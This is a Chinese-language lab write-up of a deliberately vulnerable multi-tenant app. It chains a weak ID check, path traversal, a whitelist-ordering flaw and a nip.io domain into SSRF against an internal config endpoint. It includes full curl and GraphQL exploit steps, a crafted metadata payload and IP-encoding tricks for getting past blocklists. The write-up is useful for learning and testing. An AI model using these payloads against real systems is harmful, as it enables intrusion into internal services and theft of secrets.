ThreadHub Lab:Secondary-Context Path Traversal 串 DNS Rebinding 打穿 SSRF
一個把「附件系統」與「企業自訂網域」兩個合法功能串成內網 SSRF 的實戰靶機,目標:從外部拿到只綁在 container 內部 127.0.0.1:8080 的機密設定端點。- 靶機來源:https://github.com/Mgsy/lab-threadhub
- 原理參考:作者部落格文章〈SSRF: Breaking through hidden application context〉
- 環境:WSL2 Kali Linux(Docker + curl)
一、情境與目標
ThreadHub 是一個虛構的多租戶 SaaS 團隊協作平台,每個公司(tenant)有自己的子網域(例如 acme.threadhub.lab),並且可以設定「企業自訂網域」做品牌綁定。
平台功能:
- 團隊私訊討論串(threads / messages)
- 附件系統,且支援「引用現有檔案」
- 企業客戶自訂網域設定
最終目標:拿到 flag,格式為 mgsy.dev{FLAG},位置在:
http://127.0.0.1:8080/internal/config
這個端點是 container 內部服務,對外沒有 map port,外部完全碰不到,唯一能碰到它的,只有 app 自己(因為它們住在同一個 container 裡),所以本題的本質就是一句話:
想辦法讓 app 幫我去打它自己內部的 127.0.0.1:8080,這就是 SSRF。二、環境建置
1. 取得靶機
cd ~/labs
git clone https://github.com/Mgsy/lab-threadhub.git
cd lab-threadhub
2. 設定 hosts
靶機用子網域區分 tenant,必須在 hosts 加入對應紀錄。
WSL2 Kali(/etc/hosts):
echo "127.0.0.1 threadhub.lab" | sudo tee -a /etc/hosts
echo "127.0.0.1 acme.threadhub.lab" | sudo tee -a /etc/hosts
⚠️ WSL2 踩坑提醒:這裡加的是 WSL 內部的 hosts,若你想用 Windows 的瀏覽器打,還要另外去 C:\Windows\System32\drivers\etc\hosts 加,若機器上有跑 Tailscale,其 MagicDNS 可能會攔截解析導致瀏覽器打不開 —— 最省事的做法是直接在 WSL 裡開瀏覽器(吃 WSL 的 hosts),或乾脆全程用 curl。3. 啟動
docker compose up --build
啟動成功會看到內部服務與主程式各自起來,並貼心地印出種子帳號:
[Internal Service] Running on port 8080
[Database] Users: [email protected] (alice123), [email protected] (bob123)
[ThreadHub] Server running on port 3000
- 應用程式入口:http://acme.threadhub.lab
- 種子帳號:
[email protected] / alice123、[email protected] / bob123
4. 拓撲
[攻擊者] ──:80──> nginx ──:3000──> app container
└── 內部另跑 internal-service (127.0.0.1:8080) ← flag 在此
重點:internal-service 綁在 app container 內的 0.0.0.0:8080,外部無 port mapping,app 走 127.0.0.1:3000,兩者同 container,所以 app 可透過 127.0.0.1:8080 直接碰到內部服務。
三、偵查(Recon)
1. 登入取得 session
curl -s -c cookies.txt -X POST http://acme.threadhub.lab/login \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"alice123"}'
2. 從前端 JS 挖端點地圖
前端 app.js 是伺服器主動送給任何訪客的,讀它挖端點屬於標準黑箱手法:
curl -s http://acme.threadhub.lab/js/app.js -o app.js
grep -oE '/api/v1/[a-zA-Z0-9/_-]+|/graphql' app.js | sort -u
得到:
/api/v1/attachments
/api/v1/files
/api/v1/settings/domain
/api/v1/users
/graphql
其中 README 點名的兩個功能特別可疑:附件系統 與 自訂網域(/settings/domain,會操作 whitelist),而 /graphql 藏著主要商業邏輯。
3. 黑箱枚舉 GraphQL
introspection 被關閉:
{"errors":[{"message":"GraphQL introspection is not allowed by Apollo Server...","extensions":{"code":"GRAPHQL_VALIDATION_FAILED"}}]}
但 introspection 關了也擋不住兩件事:
- 前端 JS 裡的 query/mutation 字串:
grep -oE '(query|mutation)[[:space:]]+[A-Za-z]+' app.js | sort -u
# → CreateMessageMutation / CreateThread / GetThread / GetThreadMessages
- Apollo 的錯誤訊息會逐條吐出正確 schema,故意送錯誤結構,讓它「Did you mean」給你答案,一步步逼出:
CreateMessageInput = {
threadId: ID!
htmlBody: String!
attachmentIds: [String!] ← 字串!不是嚴格數字 ID
}
attachmentIds是String而非數字型別,是第一個嗅到 path traversal 味道的地方。
4. 摸清正常資料流
上傳一個附件:
echo "hello" > /tmp/test.txt
curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/attachments -F "file=@/tmp/test.txt"
回傳關鍵欄位:
{
"attachment": {
"id": "da612ead-...",
"content_url": "http://acme.threadhub.lab/uploads/02b73963-....txt"
}
}
接著建 thread、發一則帶附件的訊息,觀察到完整資料流:
你給 attachmentId
→ 後端查 DB 找到附件,取得其 content_url
→ 後端「主動 fetch 這個 content_url」把內容抓回
→ 存進 /private-attachments/{uuid}/{檔名}
→ 回傳 downloadUrl
回傳的 fileName 是 content_url 路徑的最後一段 —— 這個特性之後會變成很好用的 oracle。
至此結論:這系統核心就是「你給一個 ID,它幫你去抓某個 URL 的內容」,SSRF 的雛型已現,接下來要把「它抓的 URL」變成我們控制的。
四、漏洞鏈拆解
從劇情種子討論串(alice 與 bob 的對話)能讀出防禦清單,反過來就是攻擊地圖:
| Alice 宣稱的防禦 | 對應攻擊對策 |
|---|---|
| flag 只准 localhost 存取 | app 自己就在 localhost → 逼 app 幫我打(SSRF) |
| 封鎖所有 internal IP | 不能送字面 IP → 改用「解析到 127.0.0.1 的域名」 |
| 嚴格域名 whitelist | 用自訂網域功能把目標「加進 whitelist」 |
| DNS rebinding/domain tricks「已涵蓋」 | 作者直接點名解法方向 |
整條鏈由四個關卡串成:
關卡 ①:附件 ID 驗證太弱
當 attachmentId 不在 DB 時,後端只驗證「開頭是不是數字」(/^[0-9]/),所以 1/…… 開頭即可通過,後面能塞任意路徑。
關卡 ②:Secondary-Context Path Traversal
DB 查不到時,後端把 ID 用字串拼進一個 metadata 查詢 URL:
http://127.0.0.1:3000/api/v1/attachments/{attachmentId}
Node 的 new URL() 會對 ../ 做正規化,因此只要控制 attachmentId,就能讓這個「第一段 fetch」跳去抓別的路徑 —— 例如去抓我們自己上傳到 /uploads/ 的假 metadata JSON。
關鍵:層數要算對(本題最容易卡的地方,見第六節):
注入點:/api/v1/attachments/{此處}
往上要跳掉 attachments、v1、api 三層,加上 "1/" 自己那層 → 共 4 個 ../
1/../../../../uploads/xxx.json
→ 正規化 → /uploads/xxx.json ✅
關卡 ③:SSRF Whitelist 的順序漏洞
拿到 metadata 後,後端讀出其中的 content_url,再做「第二段 fetch」——這裡才是真正的 SSRF 發生點,防護邏輯 isDomainAllowed 的致命順序:
1. 這個 hostname 在 whitelist 嗎? → 在 → 直接放行(跳過後面所有 IP 封鎖!)
2. (只有不在 whitelist 才會走到)比對 blocked patterns:127. / 10. / 192.168. / ...
whitelist 檢查排在 IP 封鎖之前,且命中即放行,而 /settings/domain 允許把任意域名加進 whitelist,它只擋「字面 IP」,卻擋不住「名字正常但解析到內網的域名」。
關卡 ④:.threadhub.lab 的 rewrite 陷阱
fetch 前有一段:若 hostname 以 .threadhub.lab 結尾,強制把 URL 改寫回 http://127.0.0.1:3000{path},這代表不能用內部 tenant 域名去打 flag,因為 port 會被鎖回 3000,到不了 8080,必須用一個「不是 threadhub.lab、卻能進 whitelist、且解析到 127.0.0.1」的域名。
127.0.0.1.nip.io 剛好全中:
- 有
.io結尾,長得像域名 → 過「不准字面 IP」的檢查 - nip.io 這種 wildcard DNS 會把它解析成
127.0.0.1 - 不是
.threadhub.lab→ 不被 rewrite,可保留:8080 - 加進 whitelist 後 → 命中即放行,跳過 IP 封鎖
五、完整攻擊(Exploit)
Step 1:把魔法域名加進 whitelist
curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/settings/domain \
-H 'Content-Type: application/json' \
-d '{"domain":"127.0.0.1.nip.io"}'
# → {"success":true, ... "added to the whitelist"}
Step 2:上傳指向 flag 的假 metadata
/api/v1/files 端點不擋副檔名,可直接上傳 .json:
cat > /tmp/evil.json <<'EOF'
{"attachment":{"content_url":"http://127.0.0.1.nip.io:8080/internal/config"}}
EOF
curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/files -F "file=@/tmp/evil.json"
# → 回傳 url: http://acme.threadhub.lab/uploads/<UUID>.json
Step 3:建一個「自己是參與者」的 thread
createMessage 會先檢查發送者是否為 thread 參與者,因此建立時要把自己加進 participantIds(否則會被擋在附件處理之前,靜默回 null):
ALICE=$(curl -s -b cookies.txt http://acme.threadhub.lab/api/v1/users/me | jq -r '.user.id')
curl -s -b cookies.txt http://acme.threadhub.lab/graphql \
-H 'Content-Type: application/json' \
-d "{\"query\":\"mutation C(\$input: CreateThreadInput!){ createThread(input:\$input){ id } }\",\"variables\":{\"input\":{\"title\":\"pwn\",\"participantIds\":[\"$ALICE\"]}}}"
# → 回傳新的 thread id
Step 4:觸發,用 4 層 traversal 抓假 metadata
curl -s -b cookies.txt http://acme.threadhub.lab/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"mutation M($input: CreateMessageInput!){ createMessage(input:$input){ message{ attachments{ fileName downloadUrl } } errors } }","variables":{"input":{"threadId":"<THREAD_ID>","htmlBody":"pwn","attachmentIds":["1/../../../../uploads/<UUID>.json"]}}}'
成功回傳:
{"data":{"createMessage":{"message":{"attachments":[
{"fileName":"config","downloadUrl":"/private-attachments/<uuid>/config"}
]},"errors":null}}}
fileName 變成 config(/internal/config 的最後一段),代表後端真的去抓了 127.0.0.1.nip.io:8080/internal/config。
Step 5:下載,拿 flag
curl -s -b cookies.txt "http://acme.threadhub.lab/private-attachments/<uuid>/config"
{
...
"secrets": {
"api_key": "mgsy.dev{Redacted}",
...
}
}
🚩 Flag:mgsy.dev{Redacted}
flag 內容本身即是總結 —— 對 content_url 的信任放錯了地方:後端無條件相信「附件 metadata 裡的 content_url」,讓攻擊者能餵一份假的把它導向內網。
四道關卡繞過總覽
| 關卡 | 防禦設計 | 繞過方式 |
|---|---|---|
| ① 附件 ID 驗證 | 只檢查「開頭是數字」 | 1/… 開頭通過,後面塞 traversal |
| ② Path traversal | metadata URL 字串拼接 | 4 層 ../ 跳到 /uploads/ 抓自控 JSON |
| ③ SSRF whitelist | whitelist 檢查排在 IP 封鎖之前 | 把 127.0.0.1.nip.io 加進 whitelist |
| ④ 域名 rewrite | .threadhub.lab 強制導回 3000 |
nip.io 非 threadhub.lab,不被 rewrite,直達 :8080 |
六、踩坑記錄(Debug 心得)
這一場最有價值的部分不在最終 payload,而在中間的判讀糾結,以下是實際踩到的坑,給後來者避雷:
坑 1:hang 與 null 是完全不同的訊號
打的過程中,不同 payload 會出現兩種截然不同的行為,一開始沒把它們分開看,繞了一大圈:
- hang(卡住直到 timeout)= 後端真的去 fetch 了,但目標路徑落在不存在或會 hang 的地方,卡在半路。
- 秒回 null = 流程正常跑完了,但「沒抓到東西」(例如 traversal 正確但檔案還沒上傳、或被前置檢查擋下)。
教訓:null 代表「跑完了但空手」,hang 代表「卡在半路」,兩者要分開判讀,當時第一批對照實驗其實已經顯示「只有第 4 層秒回 null,1~3 層都 hang」,那個 null 就是正確層數的訊號,只是當下彈藥(evil.json)還沒就位才回空,被誤判成失敗。
坑 2:path traversal 層數要實際算,不能用猜的
一度以為 1/../../uploads/xxx 兩層就能跳到 /uploads/,實測 Node 正規化才發現:
1/../../uploads/xxx → /api/v1/uploads/xxx (還在 /api/v1/,路徑不存在 → hang)
1/../../../uploads/xxx → /api/uploads/xxx (還在 /api/ → hang)
1/../../../../uploads/xxx → /uploads/xxx (✅ 正確)
驗證層數的小腳本:
// node t.mjs
for (const id of ["1/../../uploads/x","1/../../../uploads/x","1/../../../../uploads/x"]) {
console.log(id, "→", new URL(`http://127.0.0.1:3000/api/v1/attachments/${id}`).pathname);
}
教訓:../ 的層數取決於「注入點在 URL 路徑的第幾層」,注入點上方有幾段目錄就要跳幾層,這是 path traversal 的核心基本功,也是最多人卡的地方。坑 3:createMessage 的參與者前置檢查
用空的 participantIds:[] 建 thread,結果連自己都不是參與者,createMessage 在還沒處理附件前就被 You are not a participant 擋下,靜默回 null。建 thread 時要把自己加進參與者。
教訓:查詢回傳一定要把errors欄位一起要出來(createMessage{ message{...} errors }),否則失敗時只看到message:null,等於瞎子摸象。有errors當眼睛,成敗都看得清楚。
七、真實世界對應
有人會問:「野生環境哪來的『加白名單』功能給你用?」
這題的 whitelist 功能,正是模擬真實 SaaS 的企業自訂網域/Custom Domain功能 —— Slack、Notion、Zendesk、GitHub Enterprise 等都有類似機制,讓企業客戶綁定自家品牌域名,系統為了信任品牌域名,常會把它加進某種內部信任清單。
漏洞不在「有這功能」,而在**「加進去之後就無條件信任、跳過安全檢查」**。真實世界的 SSRF whitelist bypass 常見形態:
- 自訂域名不驗證解析目標:綁
evil.com,系統信任它,但你把evil.com的 DNS 指到127.0.0.1(本題的簡化版)。 - DNS Rebinding:域名第一次解析(過檢查)給正常 IP,實際 fetch 時第二次解析偷改成
127.0.0.1。檢查與使用之間 DNS 已變,最通用、不需任何白名單功能。 - 域名剖析不一致:判斷「安不安全」與「實際連線」用了兩套對 URL 理解不同的邏輯,造成繞過。
即便系統沒有自訂域名功能,SSRF 仍有大量入口:任何接受 URL 的功能(webhook、匯入、縮圖預覽、PDF 產生器),以及只有 blocklist 沒有 whitelist 的系統(blocklist 極易繞:0177.0.0.1、2130706433、十六進位/八進位/全形數字編碼等)。
未來在 bug bounty 看到任何「綁定自訂域名/webhook URL/自訂 callback」的功能,都該問一句:它會不會信任我控制的域名,去打它自己的內網?
Member discussion